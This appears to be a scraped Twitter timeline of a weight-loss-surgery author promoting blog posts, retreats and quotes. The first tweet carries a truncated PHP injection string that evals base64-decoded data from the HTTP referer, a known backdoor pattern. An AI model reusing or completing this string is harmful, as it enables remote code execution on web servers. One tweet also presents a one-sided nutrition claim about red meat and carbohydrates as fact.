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  1. New blog post: Katie Jay Interviews Author of "Obesity Surgery" Book http://bit.ly/14U041 &({${eval(base64_decode($_SERVER[HTTP_REFERER] ...11:14 AM Sep 4th from Twitter Tools
  2. Goodnight, world!9:02 PM Sep 3rd from web
  3. New blog post: Katie Jay on the Weight Loss Surgery Channel http://bit.ly/NTvxR7:57 PM Sep 3rd from Twitter Tools
  4. Worried about regain? Check out my WLS retreat video! http://bit.ly/2nVf6l8:48 AM Sep 1st from web
  5. New blog post: NAWLS Renewal Retreats http://bit.ly/xd0JA8:31 AM Sep 1st from Twitter Tools
  6. Leaving for the airport in an hour. Going to Las Vegas again!4:21 AM Aug 31st from web
  7. "Twenty years from now you will be more disappointed by the things that you didn't do than by the ones you did do." -- Mark Twain12:36 PM Aug 30th from web
  8. In the confrontation between the stream and the rock, the stream always wins-- not through strength but by perseverance.~ H. Jackson Brown8:21 AM Aug 26th from web
  9. Is PETA guilty of cruelty to humans? http://www.obesityaction.or...9:10 AM Aug 24th from web
  10. Right now, I am living in the moment, instead of borrowing problems.4:42 PM Aug 23rd from web
  11. New blog post: PETA Guilty of Cruelty to Humans http://bit.ly/sGJfC8:42 AM Aug 21st from Twitter Tools
  12. Working on the web information page about two new WLS retreats I'm doing. Will post a link on Tuesday.1:15 PM Aug 2nd from web
  13. Good morning, friends. I've made a good food plan and am ready for my day. For me, having a plan in place makes the whole day more peaceful.4:15 AM Jul 16th from web
  14. When you don't know what to do, ask yourself, "Is this choice bringing me closer to my true purpose in life or further away?"5:13 AM Jul 10th from web
  15. Just home from the ASMBS conference in Dallas, Texas. I had a great time -- even though I didn't see any cowboys or cows :o)7:59 PM Jun 25th from web
  16. Enjoying a lazy Saturday afternoon. I think I'll take a nap.10:21 AM Mar 28th from web
  17. Red meat is healthy -- it's the carbs we have with it that do the damage! Read more here: http://tinyurl.com/dbp7yt12:53 PM Mar 25th from web
  18. Being flexible and spontaneous is a survival mechanism worth developing...http://www.nawls.com/public...12:52 PM Mar 25th from web
  19. New, social-networking site for weight loss surgery patients, professionals and support group leaders: www.nawlsnetwork.com. Check it out!5:48 AM Mar 24th from web
  20. A journal can provide a safe outlet -- a private place to think and explore. http://www.nawls.com/public...4:59 AM Mar 24th from web